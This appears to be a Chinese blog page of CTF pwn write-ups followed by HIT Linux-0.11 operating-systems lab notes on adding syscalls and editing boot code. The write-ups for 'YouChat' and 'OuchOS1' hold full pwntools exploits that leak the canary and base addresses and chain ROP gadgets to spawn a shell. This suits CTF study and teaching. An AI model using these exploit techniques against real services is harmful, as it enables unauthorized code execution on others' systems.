def login(name,passwd):
cmd("1")
sa("Username:",name)
sa("Password:",passwd)
sleep(1)

def register(name,passwd):
cmd("2")
sa("Username:",name)
sa("Password:",passwd)
sleep(1)

register("1","1")
register("2","1")
register("3","1")
login("1","1")

add("2")
add("3")

利用格式化字符串漏洞可以泄露 libc_base:

1
2
3
4
5
6
set("%31$p")
ru("new status: ")
leak_addr = eval(p.recv(14))
libc_base = leak_addr - 0x4aa429 + 729088
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

利用栈溢出覆盖 canary 低位可以泄露出 canary:

1
2
3
4
5
6
7
8
9
choose("0")
send("a"*0x200+"b"*9)

ru("b"*9)
leak_addr = (ru("is")[:7])
leak_addr = u64(leak_addr.ljust(8,"\x00"))
canary = leak_addr * 0x100
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

覆盖 canary 后可以泄露其后的返回地址:

1
2
3
4
5
6
7
8
9
payload = "a"*0x200+"b"*8+"c"*8
send(payload)

ru("c"*8)
leak_addr = p.recv(6)
leak_addr = u64(leak_addr.ljust(8,"\x00"))
pro_base = leak_addr - 0xb080
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

最后执行一个 execve 就可以了

完整 exp 如下:(比赛时不知道本地和远程有 729088 字节的偏移,浪费了很长时间)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './YouChat.patch'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.22.2.66','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x31D2)\nb *$rebase(0x3811)\n")
pause()

def cmd(op):
sla("Your choice:",str(op))

def login(name,passwd):
cmd("1")
sa("Username:",name)
sa("Password:",passwd)
sleep(1)

def register(name,passwd):
cmd("2")
sa("Username:",name)
sa("Password:",passwd)
sleep(1)

def choose(contact):
sla("choice","1")
sla("contact:",contact)

def add(name):
sla("choice","3")
sa("Username:",name)

def show():
sla("choice","2")

def set(status):
sla("choice","5")
sa("new status",status)

def send(msg):
sla("Your choice:","2")
sa("Message",msg)

register("1","1")
register("2","1")
register("3","1")
login("1","1")

add("2")
add("3")

set("%31$p")
ru("new status: ")
leak_addr = eval(p.recv(14))
libc_base = leak_addr - 0x4aa429 + 729088
success("leak_addr >> "+hex(leak_addr))
success("libc_base >> "+hex(libc_base))

choose("0")
send("a"*0x200+"b"*9)

ru("b"*9)
leak_addr = (ru("is")[:7])
leak_addr = u64(leak_addr.ljust(8,"\x00"))
canary = leak_addr * 0x100
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

payload = "a"*0x200+"b"*8+"c"*8
send(payload)

ru("c"*8)
leak_addr = p.recv(6)
leak_addr = u64(leak_addr.ljust(8,"\x00"))
pro_base = leak_addr - 0xb080
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

bss_addr = 0x0B040 + pro_base +0x200
main_addr = 0x3B36 + pro_base
success("bss_addr >> "+hex(bss_addr))

one_gadgets = [0xe3afe,0xe3b01,0xe3b04]
one_gadget = one_gadgets[2]+libc_base
success("one_gadget >> "+hex(one_gadget))

pop_rdi_ret = 0x0000000000006403 + pro_base
pop_rsi_ret = 0x0000000000006401 + pro_base
pop_rdx_ret = 0x0000000000142c92 + libc_base
pop_rax_ret = 0x0000000000036174 + libc_base
syscall_ret = 0x0000000000120069 + libc_base
syscall = 0x000000000002284d + libc_base

write_libc = libc_base + libc.sym["write"]
puts_libc = libc_base + libc.sym["puts"]
open_libc = libc_base + libc.sym["open"]
open_plt = pro_base + 0x2580
open_got = pro_base + 0xAF78
read_libc = libc_base + libc.sym["read"]
execve_libc = libc_base + libc.sym["execve"]
system_libc = libc_base + libc.sym["system"]

binsh = libc_base + 0x1b45bd
success("binsh >> "+hex(binsh))

#debug()

payload = "a"*0x200+"b"*8+p64(canary)+"c"*0x18

payload += p64(pop_rdi_ret) + p64(binsh)
payload += p64(pop_rsi_ret) + p64(0)+p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(system_libc)
"""
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(0)
payload += p64(pop_rsi_ret) + p64(bss_addr)+p64(0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# open(bss_addr,0)
payload += p64(pop_rax_ret) + p64(2)
payload += p64(pop_rdi_ret) + p64(bss_addr)
payload += p64(pop_rsi_ret) + p64(0)+p64(0)
payload += p64(pop_rdx_ret) + p64(0)
payload += p64(syscall_ret)
# read(3,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(0)
payload += p64(pop_rdi_ret) + p64(3)
payload += p64(pop_rsi_ret) + p64(bss_addr)+p64(0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
# write(1,bss_addr,0x60)
payload += p64(pop_rax_ret) + p64(1)
payload += p64(pop_rdi_ret) + p64(1)
payload += p64(pop_rsi_ret) + p64(bss_addr)+p64(0)
payload += p64(pop_rdx_ret) + p64(0x60)
payload += p64(syscall_ret)
"""
#debug()

send(payload)
sla("Your choice:","666")
sleep(0.2)
sl("cat flag")

"""
p.recv(1)
leak_addr = p.recv(6)
leak_addr = u64(leak_addr.ljust(8,"\x00"))
success("leak_addr >> "+hex(leak_addr))
success("offset >> "+hex(leak_addr-libc_base))
"""

#0x136420
#0x84420
#sleep(0.5)
#p.send("flag")

p.interactive()

OuchOS

1
2
3
4
5
6
OuchOS1: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter ./ld-linux-x86-64.so.2, BuildID[sha1]=17c82d26ae3109262c4fe4584f0c85bcc2132b9f, for GNU/Linux 3.2.0, stripped
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
  • 64位,dynamically,全开

漏洞分析

栈溢出漏洞:

1
2
3
len = std::string::length(input);
v7 = (const void *)std::string::c_str(input);
memcpy(dest, v7, len);

入侵思路

利用栈溢出覆盖 canary 低位可以泄露 canary 和其后的 pro_addr 返回地址

然后先构造一个 getline(cin,bss_addr) 写入 /bin/sh\x00,然后构造 system 即可

完整 exp 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
# -*- coding:utf-8 -*-
from pwn import *

arch = 64
challenge = './OuchOS1'

context.os='linux'
#context.log_level = 'debug'
if arch==64:
context.arch='amd64'
if arch==32:
context.arch='i386'

elf = ELF(challenge)
libc = ELF('libc.so.6')

rl = lambda a=False : p.recvline(a)
ru = lambda a,b=True : p.recvuntil(a,b)
rn = lambda x : p.recvn(x)
sn = lambda x : p.send(x)
sl = lambda x : p.sendline(x)
sa = lambda a,b : p.sendafter(a,b)
sla = lambda a,b : p.sendlineafter(a,b)
irt = lambda : p.interactive()
dbg = lambda text=None : gdb.attach(p, text)
# lg = lambda s,addr : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s,addr))
lg = lambda s : log.info('33[1;31;40m %s --> 0x%x 33[0m' % (s, eval(s)))
uu32 = lambda data : u32(data.ljust(4, b'x00'))
uu64 = lambda data : u64(data.ljust(8, b'x00'))

b = "set debug-file-directory ./.debug/\n"

local = 1
if local:
p = process(challenge)
#p = gdb.debug(challenge, b)
else:
p = remote('175.22.1.66','9999')

def debug():
#gdb.attach(p)
gdb.attach(p,"b *$rebase(0x5be3)\n")
pause()

def cmd(op):
sla("Your choice:",str(op))

#debug()
sla("login:","ctf")
sla("Password","ctf123456")

sla("$","sudo do")
payload = "a"*1024+"b"*0x9
sla("ctf",payload)

ru("bbbbbbbbb")
leak_addr = u64(p.recv(7).ljust(8,"\x00"))
canary = leak_addr * 0x100
success("leak_addr >> "+hex(leak_addr))
success("canary >> "+hex(canary))

leak_addr = u64(p.recv(6).ljust(8,"\x00"))
pro_base = leak_addr - 0xa6e7
success("leak_addr >> "+hex(leak_addr))
success("pro_base >> "+hex(pro_base))

pop_rdi_ret = pro_base + 0x0000000000009d73
pop_rsi_ret = pro_base + 0x0000000000009d71
ret = pro_base + 0x000000000000301a
system = pro_base + 0x0000000000003630
cin = pro_base + 0xf1c0
getline = pro_base + 0x3480

bss_addr = pro_base + 0xf040+0x120+0x138
payload = "a"*1024+"b"*0x8+p64(canary)+"c"*0x18

payload += p64(pop_rdi_ret)+p64(cin)+p64(pop_rsi_ret)+p64(bss_addr)+p64(0)+p64(getline)
payload += p64(pop_rdi_ret)+p64(pro_base+0xf210)+p64(ret) +p64(system)

sla("ctf",payload)

payload = "r0o7654321"
sla("ctf",payload)

sleep(1)
p.send("/bin/sh\x00")

#sla("login:","root")
#sla("Password","r0o7654321")

p.interactive()

HIT-OSLab2

实验目标:在 Linux-0.11 上添加两个系统调用:(原始只有72个系统调用)

1
int iam(const char * name);
  • name 中存放的字符串拷贝到内核中并保存下来,要求 name 的长度不能超过 23 个字符,若超过了,返回 -1 并置 errnoEINVAL,如果没有超过就返回拷贝的字符个数
1
int whoami(char * name,unsigned int size);
  • 将内核中存放的字符串(由 iam 拷贝进去的)重新复制到 name 中,size 是指 name 指向的内存空间允许存放的最大长度,如果 size 小于需要的空间,就返回 -1,并置 errnoEINVAL,否则返回拷贝的字节数

实验过程

系统调用执行的详细过程如下:

  • 调用中断处理程序:当进程需要执行系统调用时,进程会主动调用中断处理程序 interrupt handler
  • 保存现场信息:中断处理程序会保存当前进程的寄存器值到堆栈中,以便在系统调用结束后恢复进程状态
  • 切换控制权:将 CPU 控制权交给操作系统,操作系统开始处理系统调用请求
  • 解析系统调用请求:操作系统根据系统调用请求的代码指针等信息,解析出需要调用的系统服务函数的地址
  • 调用系统服务函数:操作系统将解析出的系统服务函数地址作为参数,调用系统服务函数执行系统调用请求
  • 处理系统调用结果:系统服务函数处理完系统调用请求后,会将结果返回给操作系统
  • 恢复现场信息:操作系统将保存的寄存器值从堆栈中取出,恢复当前进程的原始状态
  • 切换控制权:操作系统将 CPU 控制权还给进程,进程继续执行

在代码层中的实现如下:

  • 把系统调用的编号存入 ax
  • 把函数参数存入其他通用寄存器
  • 触发 0x80 中断(int 0x80

在 linux-0.11 中,系统调用的源码存放在两处地方:

  • linux-0.11/lib/
  • linux-0.11/kernel/(实验要求我们把文件放入这里)

在系统调用中用户态程序不能直接和内核态程序交换数据,必须使用内核提供的 API,在 linux-0.11 中的 API 如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
static inline unsigned char get_fs_byte(const char * addr)
{
unsigned register char _v;

__asm__ ("movb %%fs:%1,%0":"=r" (_v):"m" (*addr));
return _v;
}

static inline unsigned short get_fs_word(const unsigned short *addr)
{
unsigned short _v;

__asm__ ("movw %%fs:%1,%0":"=r" (_v):"m" (*addr));
return _v;
}

static inline unsigned long get_fs_long(const unsigned long *addr)
{
unsigned long _v;

__asm__ ("movl %%fs:%1,%0":"=r" (_v):"m" (*addr)); \
return _v;
}

static inline void put_fs_byte(char val,char *addr)
{
__asm__ ("movb %0,%%fs:%1"::"r" (val),"m" (*addr));
}

static inline void put_fs_word(short val,short * addr)
{
__asm__ ("movw %0,%%fs:%1"::"r" (val),"m" (*addr));
}

static inline void put_fs_long(unsigned long val,unsigned long * addr)
{
__asm__ ("movl %0,%%fs:%1"::"r" (val),"m" (*addr));
}

/*
* Someone who knows GNU asm better than I should double check the followig.
* It seems to work, but I don't know if I'm doing something subtly wrong.
* --- TYT, 11/24/91
* [ nothing wrong here, Linus ]
*/

static inline unsigned long get_fs()
{
unsigned short _v;
__asm__("mov %%fs,%%ax":"=a" (_v):);
return _v;
}

static inline unsigned long get_ds()
{
unsigned short _v;
__asm__("mov %%ds,%%ax":"=a" (_v):);
return _v;
}

static inline void set_fs(unsigned long val)
{
__asm__("mov %0,%%fs"::"a" ((unsigned short) val));
}

编写 sys_iam 和 sys_whoami 的代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
#include <string.h>
#include <unistd.h>
#include <errno.h>
#include <asm/segment.h>

char msg[24];

int sys_iam(const char *name){
char tmp[24];
int i;
for(i=0;i<24;i++){
tmp[i] = get_fs_byte(name+i);
if(tmp[i] == '\0')
break;
}
if(i>=23){
return -1;
}
strcpy(msg,tmp);
return i;
}

int sys_whoami(char *name,unsigned int size){
int len;
int i;
len = strlen(msg);
if(len > size){
return -1;
}
for(i=0;i<len;i++){
put_fs_byte(msg[i],name+i);
if(msg[i] == '\0')
break;
}
return i;
}

系统调用号在 linux-0.11/include/unistd.h 文件中,我们可以在其末尾添加新的系统调用号:

1
2
#define __NR_iam	72
#define __NR_woiam 73
  • 需要注意的是:这里同时需要修改 hdc-0.11.img 中的 hdc/usr/include/unistd.h 文件,如果想在虚拟机中使用 gcc 编译的话,会导入虚拟机 hdc/usr/include/ 中的文件为头文件

系统调用总数量则记录在 linux-0.11/kernel/system_call.s 中,将其改为74:

1
nr_system_calls = 74

接下来需要在系统调用中添加我们实现的程序,为此我们需要先分析一下系统调用的代码

在 linux-0.11 中,system_call.s 文件为 Linux 内核中所有系统调用的实现提供了框架,主要包含以下内容:

  • 系统调用函数原型声明:定义了每个系统调用的函数原型,以便其他汇编文件可以方便地调用这些函数
  • 系统调用处理函数:定义了实际处理每个系统调用的函数,这些函数由内核驱动,并通过中断处理机制执行
  • 系统调用参数转换函数:在调用用户空间应用程序之前,系统调用参数需要进行转换,这些函数负责将内核提供的参数转换为应用程序需要的格式

所有系统调用的入口如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
system_call:
cmpl $nr_system_calls-1,%eax # 系统调用号不存在
ja bad_sys_call
push %ds # 将段寄存器和目的寄存器压栈保存
push %es
push %fs
pushl %edx
pushl %ecx # push %ebx,%ecx,%edx as parameters
pushl %ebx # to the system call
movl $0x10,%edx # set up ds,es to kernel space
mov %dx,%ds
mov %dx,%es
movl $0x17,%edx # fs points to local data space
mov %dx,%fs
call sys_call_table(,%eax,4) # 执行系统调用

在 sys_call_table 中记录了所有的系统调用,其位置在 linux-0.11/include/linux/sys.h

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
extern int sys_iam();
extern int sys_whoami();

fn_ptr sys_call_table[] = { sys_setup, sys_exit, sys_fork, sys_read,
sys_write, sys_open, sys_close, sys_waitpid, sys_creat, sys_link,
sys_unlink, sys_execve, sys_chdir, sys_time, sys_mknod, sys_chmod,
sys_chown, sys_break, sys_stat, sys_lseek, sys_getpid, sys_mount,
sys_umount, sys_setuid, sys_getuid, sys_stime, sys_ptrace, sys_alarm,
sys_fstat, sys_pause, sys_utime, sys_stty, sys_gtty, sys_access,
sys_nice, sys_ftime, sys_sync, sys_kill, sys_rename, sys_mkdir,
sys_rmdir, sys_dup, sys_pipe, sys_times, sys_prof, sys_brk, sys_setgid,
sys_getgid, sys_signal, sys_geteuid, sys_getegid, sys_acct, sys_phys,
sys_lock, sys_ioctl, sys_fcntl, sys_mpx, sys_setpgid, sys_ulimit,
sys_uname, sys_umask, sys_chroot, sys_ustat, sys_dup2, sys_getppid,
sys_getpgrp, sys_setsid, sys_sigaction, sys_sgetmask, sys_ssetmask,
sys_setreuid,sys_setregid,sys_iam,sys_whoami };
  • 在其中添加 sys_iam,sys_whoami 即可完成注册

最后需要在 makefile 中添加 sys_iam,sys_whoami 的链接,不然就会引发如下报错:

1
2
3
ld: kernel/kernel.o:(.data+0x120): undefined reference to `sys_iam'
ld: kernel/kernel.o:(.data+0x124): undefined reference to `sys_whoami'
make: *** [Makefile:67:tools/system] 错误 1

修改 makefile:

1
2
3
OBJS  = sched.o system_call.o traps.o asm.o fork.o \
panic.o printk.o vsprintf.o sys.o exit.o \
signal.o mktime.o whoami.o
1
2
### Dependencies:
whoami.s whoami.o: whoami.c ../include/linux/kernel.h ../include/unistd.h

为了测试系统调用,我们可以将 hdc-0.11.img 挂载(使用 mount-hdc 脚本),然后再往其中写入测试脚本的代码

不过在此之前我们需要先了解一下 _syscallN 宏:

1
2
3
4
5
6
7
8
9
10
11
12
#define _syscall0(type,name) \
type name(void) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name)); \
if (__res >= 0) \
return (type) __res; \
errno = -__res; \
return -1; \
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
#define _syscall3(type,name,atype,a,btype,b,ctype,c) \
type name(atype a,btype b,ctype c) \
{ \
long __res; \
__asm__ volatile ("int $0x80" \
: "=a" (__res) \
: "0" (__NR_##name),"b" ((long)(a)),"c" ((long)(b)),"d" ((long)(c))); \
if (__res>=0) \
return (type) __res; \
errno=-__res; \
return -1; \
}

#endif /* __LIBRARY__ */
  • N 是一个整数(表示系统调用的编号),... 是一个可变参数列表(用于传递系统调用的参数),## 是一个 C 语言宏展开的符号(##name 将被替换 name
  • "=a" 用于指定返回寄存器 __res 的输出模式(返回寄存器 __res 用于存储系统调用的返回值),这段代码的作用是:在执行完汇编代码后应该将结果存储在 eax 寄存器中
  • 将系统调用号 __NR_##name 和参数 a b c 压入栈中,最后执行 int 0x80

在 linux-0.11 上函数调用和系统调用的底层代码是不同的,_syscallN 宏的出现可以使我们以函数调用的方式去写系统调用的C代码

下面是利用 _syscallN 执行系统调用的测试脚本:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <errno.h>
#define __LIBRARY__
#include <stdio.h>
#include <unistd.h>

_syscall2(int,whoami,char *,name,unsigned int,size)

int main(int argc, char *argv[]){
char name[24] = {0};
int re = whoami(name,24);
if(re != -1){
printf("output successfully!\n",name);
printf("my name is %s\n",name);
}
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
#include <errno.h>
#define __LIBRARY__
#include <stdio.h>
#include <unistd.h>

_syscall1(int,iam,const char *,name)

int main(int argc, char **argv){
char name[24] = "iam yhellow";
int re = iam(name);
if(re != -1){
printf("input successfully!\n");
}
return 0;
}

使用如下命令进行编译:(最好在 linux-0.11 中进行编译)

1
2
gcc -o whoami whoami.c -Wall
gcc -o iam iam.c -Wall

最终效果如下:

HIT-OSLab1

实验目标:

  • 改写 bootsect.s 的代码,使得屏幕上可以输出 YHellowOS is loading...
  • 使 bootsect.s 能够完成 setup.s 的载入,并跳转到 setup.s 开始执行处,并输出 Now we are in SETUP
  • 将 setup.s 获取到的硬件参数输出到屏幕上
  • 完成了输出硬件参数的步骤后,不再继续加载 linux 内核,保持上述信息

实验过程

先简单解释分析一下 bootsect.s 的作用:

  • bootsect.s 是一个汇编程序,是引导扇区的源代码(该扇区被称为引导扇区,是一个计算机启动时第一个读取的扇区,通常是硬盘或软盘的第一个扇区)
  • 引导扇区通常包含一个引导扇区表(Boot Sector Table,BST),该表指向计算机的引导Loader(通常是BIOS)和操作系统

其核心代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
SETUPLEN = 4				! nr of setup-sectors # setup程序代码占用扇区数
BOOTSEG = 0x07c0 ! original address of boot-sector # bootsect起始地址
INITSEG = 0x9000 ! we move boot here - out of the way
SETUPSEG = 0x9020 ! setup starts here # setup起始地址
SYSSEG = 0x1000 ! system loaded at 0x10000 (65536). # system起始地址
ENDSEG = SYSSEG + SYSSIZE ! where to stop loading

entry _start
_start:
mov ax,#BOOTSEG
mov ds,ax # ds:数据段基地址
mov ax,#INITSEG
mov es,ax # es:附加段基地址
mov cx,#256 # cx:计数器(用于指示rep循环的次数)
sub si,si # si:数据段偏移
sub di,di # di:附加段偏移
rep # 用于重复执行一段汇编代码(默认计数器为cx)
movw # movw默认的源寄存器是ds:si,目标寄存器是es:di
jmpi go,INITSEG
  • 这一段指令使位于 0x07c00 的 bootsect 代码,被全部拷贝到了 0x90000
  • 最后跳转到 0x90000 从 go 标号处开始执行
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
go:	mov	ax,cs			# cs:代码段基地址
mov ds,ax
mov es,ax
! put stack at 0x9ff00.
mov ss,ax # ss:栈段基地址
mov sp,#0xFF00 ! arbitrary value >>512

! load the setup-sectors directly after the bootblock.
! Note that 'es' is already set up.

load_setup:
mov dx,#0x0000 ! drive 0, head 0 # 驱动器编号'0'和磁头编号'0'
mov cx,#0x0002 ! sector 2, track 0 # 扇区号'2'和磁道号'0'
mov bx,#0x0200 ! address = 512, in INITSEG # 读取数据的起始地址为512
mov ax,#0x0200+SETUPLEN ! service 2, nr of sectors # 读取的数据长度为0x200+4
int 0x13 ! read it
jnc ok_load_setup ! ok - continue
mov dx,#0x0000
mov ax,#0x0000 ! reset the diskette
int 0x13
j load_setup
  • 指令 int 0x13 的中断服务程序实质上就是磁盘服务程序,用于读取 setup 的代码并将其加载到程序的内存 0x90200 中
  • 如果 ax 寄存器的值大于0,则 jnc 会使程序跳转至 ok_load_setup,否则会尝试再次加载 setup
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
ok_load_setup:

! Get disk drive parameters, specifically nr of sectors/track

mov dl,#0x00
mov ax,#0x0800 ! AH=8 is get drive parameters
int 0x13
mov ch,#0x00
seg cs # 将cs的值加载到数据段(seg [ds:] address)
mov sectors,cx
mov ax,#INITSEG
mov es,ax

! Print some inane message

mov ah,#0x03 ! read cursor pos
xor bh,bh
int 0x10

mov cx,#24
mov bx,#0x0007 ! page 0, attribute 7 (normal)
mov bp,#msg1
mov ax,#0x1301 ! write string, move cursor
int 0x10

! ok, we've written the message, now
! we want to load the system (at 0x10000)

mov ax,#SYSSEG
mov es,ax ! segment of 0x010000
call read_it # 读取磁盘上的system
call kill_motor # 关闭驱动器马达,这样就可以知道驱动器的状态了

! After that we check which root-device to use. If the device is
! defined (!= 0), nothing is done and the given device is used.
! Otherwise, either /dev/PS0 (2,28) or /dev/at0 (2,8), depending
! on the number of sectors that the BIOS reports currently.
# 检查要使用哪个根文件系统设备

seg cs
mov ax,root_dev
cmp ax,#0
jne root_defined
seg cs
mov bx,sectors
mov ax,#0x0208 ! /dev/ps0 - 1.2Mb
cmp bx,#15
je root_defined
mov ax,#0x021c ! /dev/PS0 - 1.44Mb
cmp bx,#18
je root_defined
undef_root:
jmp undef_root
root_defined:
seg cs
mov root_dev,ax

! after that (everyting loaded), we jump to
! the setup-routine loaded directly after
! the bootblock:

jmpi 0,SETUPSEG
  • 指令 int 0x10 的中断服务程序可以将字符串输出到屏幕上
  • 输出信息并进行初始化后,程序会调用 read_it 来读取磁盘上的 system 模块,并将其加载到 0x10000
  • 最后跳转到 0x90200 执行 setup 的代码

计算机上电后,ROM BIOS 会在物理内存 0 处初始化中断向量表,其中有256个中断向量,每个中断向量占用4字节,共1KB,在物理内存地址 0x000-0x3ff 处,这些中断向量供 BIOS 中断使用

BIOS 初始化中断向量表后,启动设备的第一个扇区(即引导扇区)读入内存地址 0x7c00 处,并跳转到此处开始执行:

  • 此时操作系统处于实模式,寻址方式为:16位段寄存器 * 0x10 + 16位目标寄存器
  • 为了方便加载主模块,引导程序首先会将自己拷贝到内存相对靠后的位置(如 linux0.11 的 bootsect 程序先将自己移动到 0x90000 处),然后跳转过去执行
  • 在接下来的步骤中,程序会依次加载 setup 和 system 的代码,并跳转执行 setup 的代码

setup.s 是一个汇编语言源代码文件,通常位于操作系统内核的源代码目录中,它的作用是设置操作系统的初始状态,为操作系统其他模块的运行做准备:

  • 操作系统的主模块为了让其中代码地址等于实际的物理地址,需要将其加载到内存 0x0000 处,但此时会覆盖在 0x000-0x3ff 处的 BIOS 中断向量表
  • 所以操作系统在加载时需要先将主模块加载到内存中不与 BIOS 中断向量表冲突的地址处,之后在可以覆盖中断向量表时才将其移动到 0x0000
  • 例如在 Linux0.11 的 system 模块就是先在 bootsect 程序中被加载到了 0x10000,之后在 setup 程序中移到 0x0000 处

接下来的工作就是利用 int 0x10 来将我们需要的字符串打印到屏幕上,为此我们需要先把字符串构造好:

1
2
3
msgmy:
.ascii "YHellowOS is loading..."
.byte 13,10,13,10
1
2
3
msgmy:
.ascii "Now we are in setup..."
.byte 13,10,13,10
  • 13,10 代表换行符

接下来就可以编写打印函数了:

1
2
3
4
5
6
7
8
9
10
11
12
13
read_cur:
mov ah,#0x03
xor bh,bh
int 0x10
ret

print_string:
mov cx,bx
mov bx,#0x0007
mov bp,ax
mov ax,#0x1301
int 0x10
ret
  • read_cur 用于获取光标位置(如果没有这一步,打印数据很可能会被后续数据覆盖),寄存器 cx 中的值就是该字符串的长度,寄存器 bx 中的值代表了输出字符的颜色
  • print_string 用于打印字符串,需要传入两个参数(ax:字符串地址,bx:字符串长度)

这里有一点需要注意:

1
2
3
4
5
6
7
8
9
mov ax,#INITSEG
mov ds,ax
mov ax,#SETUPSEG
mov es,ax

call read_cur
mov ax,#msgmy
mov bx,#26
call print_string
  • 在 setup.s 中使用 read_cur 获取光标位置前,需要先重置 ds/es(主要是重置 es 格外数据段)

在输出硬件参数前我们需要知道 setup.s 读取了哪些硬件参数,找到其核心代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
entry start
start:

! ok, the read went well so we get current cursor position and save it for
! posterity.
# 获取光标位置(0x9000:0x0)
mov ax,#INITSEG ! this is done in bootsect already, but...
mov ds,ax
mov ah,#0x03 ! read cursor pos
xor bh,bh
int 0x10 ! save it in known place, con_init fetches
mov [0],dx ! it from 0x90000.
! Get memory size (extended mem, kB)
# 获取拓展内存大小(0x9000:0x2)
mov ah,#0x88
int 0x15
mov [2],ax

! Get video-card data:
# 获取显卡video-card参数(0x9000:0x6)
mov ah,#0x0f
int 0x10
mov [4],bx ! bh = display page
mov [6],ax ! al = video mode, ah = window width

! check for EGA/VGA and some config parameters
mov ah,#0x12
mov bl,#0x10
int 0x10
mov [8],ax
mov [10],bx
mov [12],cx

! Get hd0 data
# 获取硬盘hd0参数(0x9000:0x80)
mov ax,#0x0000
mov ds,ax
lds si,[4*0x41]
mov ax,#INITSEG
mov es,ax
mov di,#0x0080
mov cx,#0x10
rep
movsb # ds:si(4*0x41)->es:di(0x90000+0x80)

! Get hd1 data
# 获取硬盘hd1参数(0x9000:0x90)
mov ax,#0x0000
mov ds,ax
lds si,[4*0x46]
mov ax,#INITSEG
mov es,ax
mov di,#0x0090
mov cx,#0x10
rep
movsb # ds:si(4*0x41)->es:di(0x90000+0x90)

......
  • 我们需要打印的设备有 HD0,HD1,VC(地址偏移记录在注释中)

为了方便读取地址中的数据,我们需要写一个打印函数:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
print_hex_4:
mov cx,#4
j print_hex
print_hex_2:
mov cx,#2
j print_hex
print_hex:
mov dx,ax
print_digit:
rol dx,#4 # 向左循环移动4位
mov ax,#0xe0f
and al,dl
add al,#0x30 # 将数据转化为ascii字符
cmp al,#0x3a
jl outp
add al,#0x07
outp:
int 0x10
loop print_digit
ret

最后我们可以按照数据的格式写出代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
